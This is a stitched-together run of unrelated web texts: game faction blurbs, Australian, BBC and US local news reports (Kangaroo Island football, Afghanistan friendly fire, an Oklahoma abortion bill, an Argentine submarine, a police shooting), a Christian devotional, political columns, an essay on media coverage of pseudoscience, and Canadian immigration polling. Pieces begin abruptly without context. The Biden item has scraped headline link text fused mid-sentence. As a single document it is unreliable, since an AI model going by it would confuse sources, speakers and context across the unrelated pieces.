Esoteric engineers applying modern scientific methods to their worship of an energetic principle force. Underground power plants, somewhere in Southern Germany, manufacture their massive, unstable and risk taking Hyperborean cyborgs!
Versed in Medieval alchemy and Arabic wisdom, these apprentices look to attain total mastery over matter. Their magic brings extra cards and resource manipulation from their laboratories thought to be hidden in Southern Spain.
Brings much needed nobility that is missing from other cabals. A lethal combination of brutal dragon spirit, disruption and surprise culminate in their powerful origins of Eastern Asia.
Reaches out to ancient knowledge, astronomy and unimaginable strength that rarely leaves these dreadful priests empty handed. Their riches and ruthlessness originate from Northern Africa, allowing combinations of a deadly kind.
For six months on idyllic Kangaroo Island off South Australia, four young Aboriginal men have been working and playing football. They've left their homes behind to give it their all for a shot at breaking the poverty cycle and last Saturday was grand final day.
Alex Mann reports.
ALEX MANN, REPORTER: Kangaroo Island is a sleepy seaside getaway and, for Dudley United's newest football recruits, it's a world away from their home turf.
JOHN TURNBULL, COACH: Could have gone harder there, Jack Gurney. Get across.
Jack Walsh from Geraldton; Leroy is from Alice Springs and Nicholas Corbett and Nicholas Tracker are cousins from Tennant Creek.
ALEX MANN: Their coach is John Turnbull. He used to be a top-flight AFL recruiter and he's moved from Melbourne to mentor them.
JOHN TURNBULL: Ah, change to the bloke in the front. Away you go.
The four of them got together in the house with myself and they've been fantastic. They get along well and they enjoy each other's company.
ALEX MANN: What's it been like living with John?
LEROY TURNER, FOOTBALL RECRUIT: Oh, it's all right. He can be grumpy sometimes.
JOHN TURNBULL: Leroy, what's your problem? Are you right? No sooking.
ALEX MANN: For 21-year-old Leroy Turner from Alice Springs, it's a long way from the dysfunction of home.
LEROY TURNER: Yeah, 'cause most of my mates I grew up with: they started, like, going to parties every weekend and started doing drugs and that. And I kind of wanted to get away from that as well.
ALEX MANN: Off the field, Leroy and his mates have been gaining valuable skills by working in businesses and on farms across the island.
They're here as part of the Clontarf program, which pairs football with study and work to get young indigenous men into jobs.
This is Leroy Turner's second stint on Kangaroo Island. He's pruning vines for a local winemaker.
(To Leroy) How come you decided to come back?
LEROY TURNER: Oh, it was pretty good. Like, you know, the people are great down here and the community is too good.
ALEX MANN: So you got a lot of friends back home and, you know, when you talk to them, what they're doing doesn't sound that exciting?
LEROY TURNER: No. They're just like drinking and doing the same thing every weekend and, yeah.
ALEX MANN: And you'd rather be here?
LEROY TURNER: Yeah.
JEFF HOWARD, FARMER: Just to stiffen the fence up a bit so the cattle can't get their head through.
ALEX MANN: Jeff Howard is one of 19 locals who have pitched in $1,000 each to help pay the young men's bed and board. Like many others, he's also provided work. Now he's pinning his hopes on their prowess on the footy field.
JEFF HOWARD: Whether we win, lose or draw, the whole year has been a great success already.
ALEX MANN: Are you pumped up about it?
JEFF HOWARD: Pumped up and nervous for everyone.
ALEX MANN: And for these boys?
JEFF HOWARD: These boys will take it in their stride, I think. They get very nervous but they don't, they don't show it a lot. Once they get on the field, they do their own thing and they will be playing at their best. I'm very confident.
ALEX MANN: Their arrival on the island has transformed the Dudley Eagles from losers to winners. Last year they finished bottom of the ladder.
JOHN TURNBULL: Lovely kick, Corbey.
ALEX MANN: Now the team's preparing for the grand final.
JOHN TURNBULL: Hopefully it's all right on the night - or the afternoon. (To team) All right, blokes, now, goal square.
ALEX MANN: On Saturday afternoon almost half the island's 4,000 residents turned out for the grand final.
Dudley Eagles had their work cut out. The Parndana Roosters won the last six grand finals in a row.
By three-quarter time, Dudley United were four points down. John Turnbull steeled his players for one last crack.
JOHN TURNBULL: Adam, go for it. Leroy, go for it. It's in your hands. It's in your hands.
ALEX MANN: But the reigning champions weren't giving up without a fight.
COACH/CAPTAIN, PARNDANA ROOSTERS: That's the passion that we've got here. It's the work that we put in off the field, OK. We're a team. We're not individuals, we're a team. And that's how we have won six. And, I'll be (censored), that's how we will win seven.
ALEX MANN: In the final minutes of the game, a flurry of goals puts Dudley United in front to win the final.
(Cheers and applause from crowd)
For three of the star recruits, their time on the island is coming to an end. But Leroy Turner has decided to stay on.
And for these boys who have come such a long way to now be ending their stay on Kangaroo Island, what do you think this win means for them?
JEFF HOWARD: I think it mean a heap to them. I don't think they will go back. They're going to stay now, surely. (Laughs)
ALEX MANN: Have you got work for them?
JEFF HOWARD: We'll find work for them. They're well worth having here.
ALEX MANN: Are you going to stick around?
LEROY TURNER: Hell yeah, man.
(Dudley United Eagles team yell out war cry)
The man, Kim Dong-chul, appeared at a government-arranged news conference and apologized for trying to steal military secrets in collusion with South Koreans, the Kyodo News agency of Japan reported. Xinhua, the Chinese news agency, carried a similar report.
Mr. Kim, in a blue suit, kept his head bowed and his hands folded in front of him as uniformed North Korean officials escorted him to the news conference, according to photos carried by Kyodo on its website.
St. Paul calls the Christians in Rome (as he would Christians everywhere) to the essential Christian life – “be transformed.” For many modern Christians, this admonition of the great Apostle is understood as a moral transformation. The mind leaves behind the immoral thoughts of a sinful culture, and switches its allegiance to the moral world of Christianity.
As an interpretation of the Scriptures, such a reading is extremely “thin.” The changing of our allegiance to a new set of ideals renders the verse as a mere exhortation to self-improvement. Such moralistic treatments of the Scriptures remove the depth and mystery to which the great Apostle refers. To be transformed is not the same thing as adopting a new set of moral standards: it describes a deep transformation in which we become somehow different than we are at present – at the deepest level of our existence.
If anyone is in Christ, there is a new creation (2 Cor. 5:17).
This transformation is both a gift of the Holy Spirit and our steady cooperation with that gift. Throughout the centuries there have various efforts to reduce Christianity to nothing more than a moral system. Thomas Jefferson, one of the early American presidents, produced an edited version of the Bible in which he eliminated miracles and retained only the so-called “moral” or “ethical” teachings. Such efforts have largely grown from a mistaken understanding of the Christian faith and a rejection of the most fundamental doctrines of the Christian faith.
Today, many Christians acknowledge the divinity of Christ and believe that He died for their sins – but having accepted this much they then consider the rest of their Christian life to consist of efforts to live correctly. No one should discourage someone from trying to do good – but efforts to live a moral life which are not efforts united to the transforming work of Christ within us are misguided, and, in some cases, positively harmful.
We begin our life in Christ by being united with Him in Holy Baptism. Having begun our life through union with Christ, we should continue our life through union with Christ.
Christ within you, the hope of glory (Col. 1:27).
Acquire the Spirit of peace and a thousand souls around you will be saved – St. Seraphim of Sarov
It is possible for someone to be “moral” or to live “ethically” without wonder, without joy. But it is not possible to live a life united to Christ without wonder and joy. St. Gregory of Nyssa, writing in the 4th century, said that “Man is mud, whom God has commanded to become god.” The moral life, lived apart from union with Christ, will never rise to the level of God’s true commandment. Only the transforming grace of God can do such a work in us.
God is looking for something more than a few good men.
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Five American soldiers have been killed accidentally by their own side in southern Afghanistan, US military sources have confirmed.
An Afghan soldier and an interpreter also died in the Nato air strike after Monday's operation in Zabul province
Afghan officials say coalition forces called in air support when they were attacked by the Taliban at the end of the operation. Nato is investigating.
Militants have stepped up attacks as foreign combat troops leave this year.
The incident, which happened on Monday, is among the most serious cases of so-called "friendly fire" in Afghanistan, where Nato-led troops have been battling Taliban and other insurgents since 2001.
A statement from international forces in Kabul said: "Tragically there is the possibility that fratricide may have been involved."
Nato did not immediately confirm the nationality of these latest casualties.
But the BBC's David Loyn in Kabul says the term "fratricide" is used by US forces when they mistakenly kill soldiers on their own side.
Analysis - Military historian Peter Caddick-Adams
Chroniclers of the battle of Waterloo, fought in 1815, have recorded how British infantry squares engaged one another by mistake and other allied cavalry, causing many casualties.
Similar incidents happened in the Crimea in 1854, during the American Civil War of the 1860s and the Boer War of 1899-1902.
War diaries from World War I are peppered with accounts, mainly of British artillery shelling British troops by accident, poison gas clouds being misdirected, or a worn gun barrel firing shells inaccurately.
In World War Two, many allied aircraft were lost to so-called friendly fire, because of poor aircraft recognition skills, or the split seconds in which a pilot had to decide whether to engage an oncoming plane or not.
Historians now think that the famous RAF fighter ace Douglas Bader was shot down by one of his wingmen, not the Germans.
A history of friendly fire
The Isaf force currently has soldiers from 50 contributing nations in Afghanistan. Most troops stationed in the south are American.
The governor of Zabul province told the BBC there was a joint operation involving Afghan and international troops.
The incident happened in Arghandab district, a place hotly contested between the Taliban and international forces for some years, our correspondent reports.
Southern Afghanistan is the heartland of the Taliban movement and insurgents frequently attack security forces in the region.
There have been more than 30 Nato forces killed this year in Afghanistan - the latest incident is the deadliest so far in 2014.
Afghanistan is set to hold a run-off round of voting in its presidential election on Saturday.
A proposal which would force women to get permission from their sexual partner to allow them to have an abortion has passed the first hurdle in Oklahoma.
The bill would mean women needed written consent from a man for a doctor to carry out a termination.
The bill's author, state legislator Justin Humphrey, who has described pregnant women as "hosts", said it would give the father a "say-so".
Critics say it degrades women.
The fact Oklahoma lawmakers decided to move the measure toward a full vote by the legislature comes at a time the anti-abortion movement is growing bolder under President Donald Trump.
Mr Trump at one point suggested women should be punished for having abortions, and promised to elect an anti-abortion judge to the Supreme Court. The position of his nominee, Neil Gorsuch, on abortion is unclear.
Image copyright AP Image caption Republican representative Justin Humphrey urged women to 'be responsible' with their bodies
The Associated Press says at least 11 anti-abortion bills have been introduced in Oklahoma this session, including one that classifies the procedure as first-degree murder, but it is unlikely many of those will reach the governor's desk.
This particular bill would allow men to demand a paternity test before the procedure could be carried out, but does make exceptions for women who have been raped or are the victims of incest.
US abortion debate: Both sides speak
Pregnant women are nothing more than a 'host'
What bill author Justin Humphrey told US websiteThe Intercept
"I understand that they [women] feel like that is their body. I feel like it is a separate — what I call them is, is you're a 'host.' And you know when you enter into a relationship you're going to be that host and so, you know, if you pre-know that then take all precautions and don't get pregnant.
"So that's where I'm at. I'm like, hey, your body is your body and be responsible with it. But after you're irresponsible then don't claim, well, I can just go and do this with another body, when you're the host and you invited that in."
Oklahoma already has some of the toughest abortion regulations anywhere in the US. Last year, the state's Republican governor, who would have to sign any approved measure into law, vetoed a bill calling for prison terms for doctors who performed abortions.
Women seeking abortions in Oklahoma already must undergo a 72-hour waiting period and counselling on a perceived link between abortion and breast cancer.
The National Cancer Institute and other medical experts say there is no link.
Pro-choice advocates are furious this bill has been tabled at all.
Trump's abortion order explained
Image copyright AFP Image caption Abortion, legalised in 1973, still sharply divides America
"Oklahoma HB 1441 is an outrageous bill meant to shame, burden, and degrade women seeking abortion care," said a statement by Diane Horvath-Cosper, spokeswoman for the New York-based Physicians for Reproductive Health.
However, activists are hopeful that previous legal precedent will mean it gets knocked back.
Tamya Cox, a spokeswoman for Planned Parenthood Great Plains, said the US Supreme Court already ruled against requirements to notify the father in 1992.
"Courts have said that states cannot create undue burdens and create unnecessary obstacles when it comes to a woman's right to access abortion," she said. "To waste taxpayer dollars on bills like this does not represent what's best for Oklahomans."
Nathanial Szczerbinski admitted to Local 4 he caused the wreck because he was driving the wrong way down an unfamiliar Detroit street. He said he stopped and started to turn around when he was struck by a Chevy van. As Szczerbinski got out, he was confronted by the three guys who were in the van.
Police sources told Local 4 the men quickly went on the attack, repeatedly punching and kicking Szczerbinski.
The violent attack brings back memories of the assault on Steve Utash, the man who was severely beaten by an angry mob after hitting a boy on the east side of Detroit by accident.
Now, Szczerbinski and his family are focused on his recovery and they said they're hopeful police will track down those responsible.
One man is reportedly in custody, potentially facing assault and ethnic intimidation charges.
Click here to donate to Nate and his family
When I first started writing for Human Events in 2008, I was untrained in how to write a weekly column. Termed “President Reagan’s favorite conservative paper,” Human Events has been a leading voice in the conservative movement since 1944. I was both nervous and excited when I saw my first column in print in a weekly newspaper I had read since my college days.
Earlier this year, I left Sen. Rand Paul’s (R-KY) office and resumed writing for Human Events. I am blessed to continue my writing with the Human Event’s platform today. As the conservative movement matures, there are new conservative platforms popping up every day to amplify and provide new perspectives on the issues of the day.
Conservative Review (CR) made an announcement that caught the eye of many in the movement. Yesterday, CR announced the addition of national renowned talk show host and best selling author, Mark Levin, as Editor-in-Chief. Providing Levin a prominent platform for his writing is a positive development for the conservative movement. Levin, nicknamed “The Great One,” is one of the most informative radio hosts in America with millions of listeners from coast to coast.
Levin has distinguished himself from other talking heads by taking a hardline stance against squishy Republicans who have lead the Republican Party into a political abyss. Levin can use CR to educate citizens about how to return the federal government to the ideas of restraint and first principles. He can also verbally knock some sense into Republican leaders who have lost their way.
Levin said of the expanding web site “I have admired Conservative Review as a leading voice in the world of political thought and a crucial foil to the tired and timid ideas of the establishment.” Tired and timid is not a word anybody would use to describe CR. They have a Congressional scorecard, the “Liberty Score,” that administers tough love to Republicans who have taken too many liberal votes.
In addition to the announcement of Levin, CR announced the hiring of Amanda Carpenter, former Communications Director for Sen. Ted Cruz (R-TX) and John Gray, former Legislative Director and budget expert for Sen. Rand Paul. Both Amanda and John are friends and they will load up the CR website with interesting perspectives from the eyes of two individuals who were high level staffers in the U.S. Senate merely a few months ago.
Also, CR announced the addition of two other rock stars of conservatism — Chris Jacobs, former health care policy specialist at The Heritage Foundation and Dan Bongino, former Secret Service agent who almost won a House seat in a liberal leaning district in Maryland in the last election cycle. Dan and Chris are two excellent additions who are aggressive messengers for conservatism.
I am proud to say that in addition to posting at Human Events, I am posting content at CR. I am very excited to write alongside these long time friends of mine. I am also happy that I can be reunited with Daniel Horowitz who I wrote with over at Red State a few years ago. I consider Daniel to be one of the best writers in all of politics. I have never met an individual possessing his extraordinary combination of rhetorical skills and a convincing writing style that strikes fear into the hearts of moderates on both sides of the Capitol.
The head of the Argentine navy has been sacked following the loss of a submarine and its crew in the South Atlantic last month.
The defence minister placed Adm Marcelo Srur in retirement on Friday night, it has emerged.
The ARA San Juan disappeared with 44 crew on board after reporting an electrical problem off the coast of Patagonia.
An international search operation has failed to locate the vessel.
The families of the missing have urged the government to keep looking for the submarine, describing the anguish of living with uncertainty since the rescue operation was wound up just over two weeks ago.
Some ships are still searching in an area where a loud noise was recorded in the hours following the disappearance - possible evidence that the submarine imploded.
President Mauricio Macri has created a special independent commission to investigate the disappearance of the submarine, following criticism about the handling of the operation.
The commission will comprise three submariners - one the father of one of the disappeared crew.
Defence Minister Oscar Aguad has promised the investigation will be "transparent" and will have an unlimited budget.
Image caption The crew of the ARA San Juan comprises 43 men and one woman
"We ask that they always tell us the truth, that they keep us informed about what's happening," said Jorge Villareal, father of missing crew member Fernando, according to Efe news agency.
"We just find things out through the media."
Investigators say it happened at 8:54 p.m. Friday at Pheasant Ridge Apartments, located along Breton Road near 32nd Street. Police say when they arrived on the scene, they noticed a large amount of blood through a window of the home.
When officers made entry, they found a 41-year-old woman with severe injuries. The officers administered first-aid, but the woman died at the scene.
A 43-year-old man fled the home before officer made entry. A perimeter was set-up by responding patrol officers. The suspect was seen by an officer at Edington Drive and Breton Road.
Officers responded to the area and confronted the suspect on Breton Rd. The suspect had a knife in his possession and made threatening statements. After multiple attempts to take the suspect into custody, he continued to resist.
The suspect made threatening movements towards the officers, and he was shot by one Kentwood officer. The officers secured the suspect and applied first-aid. The suspect was transported to an area hospital where he died from his injuries.
A 7-year-old boy was also in the home with the woman at the time of the incident. Police say that child was unharmed. He is with child protective services until family members are contacted.
The names of the victim and suspect are not being released at this time, due to family members needing to be notified. The name of the officer involved in the shooting is not being released at this time. No officers were injured by the suspect.
Biden reportedly views himself as a well-seasoned statesman who could mend deep seeded divisions across the country as well as within the Democratic Party.
“He’s a great respecter of fate,” a source close to Biden told Politico, adding, “At some point, it may turn into fate and planning.”
Speculation has swirled around a potential Biden presidential bid in recent months and the former senator does not appear to be staying out of politics.
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Biden has been one of President Trump's most vocal critics, recently tearing into what he called "phony nationalism" that is "undermining the social fabric" of the U.S.
He has also offered a blunt take on former Democratic presidential nominee Hillary Clinton Hillary Diane Rodham ClintonSanders: 'I fully expect' fair treatment by DNC in 2020 after 'not quite even handed' 2016 primary Sanders: 'Damn right' I'll make the large corporations pay 'fair share of taxes' Former Sanders campaign spokesman: Clinton staff are 'biggest a--holes in American politics' MORE, saying in May that he never thought she would be a great candidate.
The former vice president has kept a largely busy public profile, often speaking at political events.
He launched his own super PAC, American Possibilities, in May, and is set to launch a book tour for his memoir "Promise Me Dad" next week.
A source in contact with Biden's advisers told the publication that at the moment Biden's primary focus is his book tour.
“Right now, he’s pretty laser-focused on the book tour. Get through that and go see what we can do in ‘18, and see where things are then,” the source said.
Biden himself has also appeared to publicly mull a presidential run and has refused to rule out a 2020 run.
"Break free from the hidden toxins in your food," The Food Babe Way boasted. "Lose weight, look years younger, and get healthy in just 21 days."
Everything about this reeked of pseudoscience: the suggestion that people can reinvent their bodies with quick fixes. The notion that we're being attacked by chemicals and in need of a thorough detox. I didn't want to dedicate any reporting energy to addressing Hari's nonsense.
A couple months later, I wondered if I'd made a mistake. Profiles of the Food Babe were turning up in the New York Times and the Atlantic. Her audience now numbered in the millions, and her mostly insane tirades against the toxins in our environment seemed to be catching on. Some were even calling her the next Dr. Oz.
Every journalist faces the question: How to deal with cranks?
The Food Babe was now impossible to ignore, so I wrote a quick item highlighting some of the reasons scientists think she’s completely off-base. It's a tactic I've used a lot in reporting on people like Hari. Highlight the gap between what a misinformed celebrity says and what the science says. Point out how they're hoodwinking the public, when necessary. Advocate for science and rational thinking.
But even then, I wasn't sure if that was the right way to deal with Hari. Perhaps I should have dedicated many more reporting hours to debunking her ideas. Or perhaps I should have continued to ignore her altogether. Maybe drawing any attention to Hari would help popularize her message — making me complicit in spreading misinformation.
Science writer Keith Kloor was puzzled by a similar question recently: "How do you communicate to a popular and deeply flawed messenger of health concerns, such as a Dr. Oz or a Vani Hari, who has a large, built-in audience and who seems immune to facts?" It's not a dilemma that the media always addresses well.
The media needs to get better at dealing with pseudoscience
The debate over how to handle peddlers of pseudoscience comes up again and again in the newsroom. With every Food Babe, Dr. Oz, Robert F. Kennedy Jr., and Jenny McCarthy, we mull some combination of the following: Do they deserve to be addressed? Should we seriously engage their ideas? And if we cover them, what’s the best way to do so: mockery? Earnest debunking?
I decided to ask other researchers and science communicators who have grappled with this problem. Everyone I spoke to seemed to agree that it probably isn't worth it to engage fringe theories that don't really break through to the mainstream. "If they are unknowns, the best thing to do is to ignore them, because they thrive on attention, however negative it may be," said Stephan Lewandowsky, a psychologist at the University of Bristol.
But it's a harder call for phonies who have gained a sizable platform and whose positions pose a risk to public health — like, say, Jenny McCarthy. In these situations, experts had more varied advice. Once these hoodwinkers get endorsed by public figures, major media outlets, or government institutions, critical coverage is important, the experts advised. Be clear on where the balance of scientific evidence lies. Be careful of turning quacks into martyrs. Don't gin up scientific controversies where they don't exist. Hold their enablers accountable, too.
1) Don't just go after cranks — hold their enablers accountable
I made my first call to Ben Goldacre, a British author, physician, and longtime slayer of bad science. When asked how he decides to cover a quack or crackpot idea, he said, "To me, it depends on whether the way they misused science is interesting enough that it makes a good pop-science column." This was all part of his science advocacy mission. "Mocking people who misuse science is a really useful gimmick for communicating how science works," he said.
But Goldacre doesn't just go after cranks; he also criticizes those in the media who give them credibility. "Going after people who facilitate the cranks is more likely to produce long-term benefits and also more closely reflects where the true source for the problem lies," he explained. "I can tell you who hates having their name in the paper, and that is journalists, editors, broadcasters, and policymakers. They are used to being able to hide in the shadows, anonymously, and if you can call them out by name I think that changes their behavior quite well."
Goldacre had a point. I've written about Dr. Oz's misrepresentations of medical evidence over the years, with little measurable impact. But I also once criticized an anti-vaccine story in Canada's largest newspaper. My reporting — one voice in a chorus of criticism — pointed out that the paper's editor-in-chief was in denial about its bad coverage, and that he was ridiculing well-meaning critics. (In a memorable turn of phrase, he called me a "bathwater gargler.") The result? A rare retraction of the story.
Brendan Nyhan, a political scientist at Dartmouth, agreed with Goldacre's advice, relating it to Dr. Oz. "Oprah Winfrey should be ashamed of how she helped give Dr. Oz a platform. People who put Dr. Oz on TV should be embarrassed," Nyhan said. "I advocate naming and shaming, not just naming and shaming the public figures who mislead people but the institutions that give them platforms."
2) Be clear on where the balance of scientific evidence lies
The experts I spoke to all said it's extremely important to reflect the state of the science in coverage, and to avoid giving equal weight to both sides of an argument that aren't actually equal according to science. When reporters do that, we risk misrepresenting the research and creating controversy where there isn't any.
Many journalists covering discussions of climate change have struggled with this for years. In the early days, they often allowed those who deny the existence of manmade warming to weigh in on a variety of stories. Broadcast programs typically featured one person who "believes in" climate change alongside one denier, giving the false impression that the evidence is split 50-50. Of course, research for years has overwhelmingly suggested that humans are behind global warming. But even today, reporters aren't sure how to cover politicians who deny the existence of climate change.
Here's Ivan Oransky, a physician and longtime health journalist and editor: "The doubt industry knows that journalists actually do want to get things right and reflect nuance, and they have figured out how to craft their messages and arguments in such a way that they seem like honest academic questions."
3) Beware of turning cranks into martyrs
Oransky raised a problem that can sometimes occur when journalists cover charlatans critically — we risk turning those spreading misinformation into martyrs.
A great example can be seen in media coverage of chronic fatigue syndrome, a condition that scientists once doubted was real but now has the endorsement of the Institute of Medicine (albeit with a different name). Back in 2009, researchers proposed that a virus might be at the root of the condition, and sufferers of chronic fatigue latched on to the theory. "But that research didn't hold up," Oransky explained. For the most part, reporters tended to reflect what scientists learned in the ensuing years — the virus likely wasn't causing chronic fatigue syndrome.
Unfortunately, that coverage ended up backfiring. "Every time [the media] would say the research wasn't holding up, the patient community would turn around and say, 'You’re denying we have an illness,'" Oransky said. One of the leading researchers behind the viral theory, Judy Mikovits, has essentially been turned into a martyr, seen by patients as someone who is really trying to get to the bottom of their issue — despite the fact that the weight of science is now stacked against her.
The more press coverage, the more scrutiny, the more you end up with these martyrs
A similar dynamic occurred with Andrew Wakefield, the fraudulent physician who popularized the autism-vaccine link. He fabricated his research — research that was retracted, research that is blamed for stoking vaccine fears and bringing back preventable diseases. But all along, he has insisted he's the victim of a witch hunt and PR campaign, and some vaccine deniers see him as a sacrificial lamb. "The more press coverage, the more scrutiny, the more you end up with these martyrs and with people saying, Everyone is against us,'" Oransky said.
The other difficulty is that these martyrs often wade into areas that relate to our very deepest fears and desires. Wakefield exploited parents' worries about vaccines and autism. Dr. Oz trades on the near-universal pursuit of better health and weight loss and mistrust of Big Pharma. Food Babe Vani Hari has built her brand around the worry that unseen and ubiquitous toxins are slowly killing us all.
When these figures are ridiculed and struck down by critics, their audiences can interpret the criticism of their work as diminishing or making fun of their own, often understandable concerns, thus helping to fuel the crank-to-martyr transformation.
4) Don't overstate the influence of cranks
Just last week, Robert F. Kennedy Jr., a well-known vaccine denier, attended a Sacramento viewing of an anti-vaccine documentary, and told his audience that mass inoculation is akin to "a holocaust."
I asked Dan Kahan, a professor of law and psychology at Yale, how he would suggest covering this event. He said it was important to consider the broader context here: "The fortunate truth of the matter is that there's tremendous confidence by the American public in vaccines," he said. "We have had 90 percent coverage for well over a decade. There are enclaves of people who are concerned. But most parents vaccinate and don't give it a second thought."
So any reporting on vaccine deniers like RFK Jr. should reflect that this is a minority view, Kahan explained. Otherwise reporters risk creating an appearance of significant conflict when there isn't really any — signaling to the unconcerned that they should potentially worry, which could have a negative impact on vaccine rates.
"You don't want to [write] that there's a public health crisis because more and more parents are becoming anxious," he said. "That trope is false. There are some people anxious about vaccines. But they are an outlier." So a story about RFK Jr. might explain how he represents a tiny sliver of Americans. It would also explain that the majority of people abide by the social contract of safeguarding public health through mass inoculation.
But, Kahan added, reporters need to be mindful of a potential pitfall in doing even that: "Even when you're telling people not to worry about something, they worry a bit more about it. It doesn't help to start screaming, 'There's no fire in the theater, everybody!'"
5) Critical coverage is important — but avoid creating controversy for its own sake
I've been covering Dr. Oz's promotion of pseudoscience for several years. Recently, my dad made an astute observation about that work. He suggested I was somehow dependent on Oz's shenanigans, benefiting from his erroneous medical infotainment to build an audience. I couldn't deny the charge, and his words made me think of the central conflict in Janet Malcolm's ethics tome, The Journalist and the Murderer, summed up on its first page: "Every journalist who is not too stupid or too full of himself to notice what is going on knows that what he does is morally indefensible."
But given that Oz is, depressingly, the most influential public figure in health in America, I would argue that the coverage is warranted and necessary.
Brendan Nyhan raised this conundrum, calling it a "synergy between people who are pushing these theories and people who are covering them in a kind of freakshow style."
the principle of holding people accountable for saying misleading things is an important one
This doesn't mean that journalists should shy away from covering charlatans, he added. Instead, reporters should only start to write on theories when they are being "endorsed by public figures and discussed in government institutions and other settings that matter." At that point, he said, "It’s appropriate to cover that claim, to say how dubious it is, because of the watchdog function of the press."
I was a bit surprised by Nyhan's response, since his own research has shown that it's extremely difficult to change people's opinions about subjects that are important to them through debunking. In a study on perceptions of flu shots, Nyhan found that correcting myths actually had the opposite of the desired effect among vaccine skeptics. In his political research, he has demonstrated that giving people corrective information can backfire and deepen their misperceptions. The findings can be disheartening for any slayer of bad science.
Yet despite those findings, Nyhan pointed out that critical media coverage of incorrect claims is still valuable: "I’m not convinced media coverage will necessarily convince people who are predisposed to believe the Food Babe or Dr. Oz that they are wrong," he said. "But the principle of holding people accountable for saying misleading things is an important one."
BAKERSFIELD, Calif. - On Monday, the Big West Conference announced the addition of California State University, Bakersfield and the University of California San Diego as the 10th and 11th members of the Conference.
CSUB will become an official member of the conference on July 1, 2020, and will be immediately eligible in round-robin and single-site championship sports for Big West titles, awards and honors and continue its eligibility for NCAA automatic qualification in these sports, according to Big West.
In making the announcement, Big West Conference Commissioner Dennis Farrell issued the following statement:
“The addition of these two outstanding universities will further strengthen the Big West’s position as the preeminent NCAA Division I public university conference for the states of California and Hawai‘i,” said Farrell. “The 2018-19 academic year marks the 50th anniversary of the Big West Conference and this membership development positions the conference to continue growing and thriving for the next 50 years.”
Beginning in 2020-21 CSU Bakersfield will participate in the following Big West championship sports: men’s and women’s basketball, baseball, women’s cross country, women’s golf, men’s and women’s soccer, softball, men’s and women’s track and field, women’s volleyball and beach volleyball. For the past two years, CSU Bakersfield has been a Big West associate member in beach volleyball.
The Big West Conference is a member of NCAA Division I and includes California Polytechnic State University, San Luis Obispo; California State University, Fullerton; California State University, Northridge; Long Beach State University; University of California, Davis; University of California, Irvine; University of California, Riverside; University of California, Santa Barbara; and the University of Hawai‘i, Manoa.
Big West says CSUB's athletic programs have recorded significant success in the classroom and in competition over the past several years, including seven team conference championships in the past three years, record GPA’s, Graduation Success Rates, and APR scores.
Since its move to Division I in 2010, the CSUB men’s basketball program has achieved national acclaim with a berth in the NCAA Tournament in 2016 and an historic run in the NIT in 2017, becoming the first eight seed to advance to the semifinals.
See more of our coverage from AAAS 2014.
Our polling is tracking an erosion of Canadians’ openness to diversity and immigration. Much of this may be due to a looming federal election in which rhetoric about terrorism and cultural accommodation is bound to play a prominent role. Attitudes to immigration are in flux and we appear to be turning into a less open society.
Questions of race and religious dress have rarely been ballot box issues in Canada. Now, however, they appear to be the key factors behind major shifts in the voter landscape.
Canada has absorbed a large number of visible minority immigrants over the past twenty years, turning us from a largely white society with ancestry drawn from Britain and France to an extremely heterogeneous one. Initial deep reservations about immigration dropped consistently over that period as we became more diverse. The public embraced the ideal of multiculturalism; dire warnings about ethnic enclaves and a fading national identity never came true. Our research over that period shows national attachment remained very high in Canada, while ethnic identifications actually dropped.
It’s useful to remember how far apart public opinion in Canada and the United States was following the 9/11 terrorist attacks. In both countries there was a sharp, immediate rise in opposition to immigration. In Canada, however, that trend soon dissipated, reaching an all-time low around 2005 — when only 25 per cent of us said there were too many immigrants and less than one in five said that too many immigrants were visible-minority. In the U.S., the level of opposition to immigration was nearly three times higher. Canada remained a nation open to the world: pro trade, pro-immigration and pro-diversity. This seemed to confer both social and economic advantages.
But something has changed.
Recent polling shows opposition to immigration has nearly doubled since 2005 and is threatening to crack the 53 per cent level we saw in 1993. Not only is opposition to immigration in general scaling heights not seen in twenty years but the number of Canadians saying we admit too many visible minorities has just cracked the 40-point ceiling for the first time ever.
And let’s be clear about this. Opposition to immigration can be driven by factors other than racial discrimination, such as economic anxiety. But it’s hard to see how those saying too many immigrants are visible-minority can be motivated by anything but racial or cultural bias. It may not be particularly insidious but it is racial intolerance — and these numbers should alarm anyone who believes in an open and tolerant society.
When we look at how attitudes on immigration and race spread out among the main federal parties, a pattern emerges. Liberals and New Democrats have no cause to be smug; fully one-third of their supporters think too many of those coming to Canada are visible minorities.
But it’s the Conservative party — which owes much of its current success to wooing votes from new Canadians — that seems to have the problem. Jason Kenney, to his credit, wants new Canadians in his party’s corner. But half of the people who support his party would prefer to see fewer non-white immigrants.
A personal note now. We were tracking public opinion on race and immigration in Toronto in the early 1990s. One of the things that struck me vividly about the immigration debate back then was how emotional it was. We quickly learned that mixing visible minorities with white participants in our focus groups was a practice to be avoided at that time. Many Canadians from white European backgrounds were displaying aggravated cultural insecurities — about not being allowed to say the Lord’s Prayer in school anymore, about the so-called ‘war on Christmas’, about scary-looking foreigners on the subway, about Mounties in turbans. It was a toxic stew of fear and hostility, one that might look utterly alien to anyone who only knows the relatively harmonious and culturally diverse Toronto of today.
Given the intensity of those debates, and how they faded with time, let’s consider how current views on the niqab might change. As once can readily see, Prime Minister Stephen Harper’s opposition to face veils worn in citizenship courts enjoys broad public support. There is also a very strong correlation between those who agree with the prime minister’s position and those who think there are too many visible minorities coming to Canada. Not all of those who agree with Harper on the niqab think we admit too many visible minorities — but virtually all of those who do think we admit too many visible minorities also support the ban.
And we can clearly see how these attitudes have shifted the landscape going into the election. The Conservative party’s polling resurgence has happened in precisely the demographics where less-tolerant attitudes towards visible minorities and the niqab are strongest. Among Bloc Quebecois suppporters, 64 per cent oppose visible minority immigration and a whopping 86 per cent support the ban on the niqab at citizenship ceremonies.
It’s hard to tell at this point how the immigration/race question might affect the trajectory of the election. What we do know is that this topic is doing more to sort the electorate by party than many more pressing issues, such as the moribund economy.
This is, in fact, the first really explicit political debate about values that we’ve seen in Canadian politics in a long time. The old reticence to discuss this issue has been shattered. Which path will Canadians choose?
Frank Graves is founder and president of EKOS Polling.
Methodology:
This study was conducted using High Definition Interactive Voice Response (HD-IVR™) technology, which allows respondents to enter their preferences by punching the keypad on their phone, rather than telling them to an operator. In an effort to reduce the coverage bias of landline only RDD, we created a dual landline/cell phone RDD sampling frame for this research. As a result, we are able to reach those with a landline and cell phone, as well as cell phone only households and landline only households.
The field dates for this survey are March 4-10, 2015. In total, a random sample of 2,950 Canadian adults aged 18 and over responded to the survey. The margin of error associated with the total sample is +/-1.8 percentage points, 19 times out of 20.
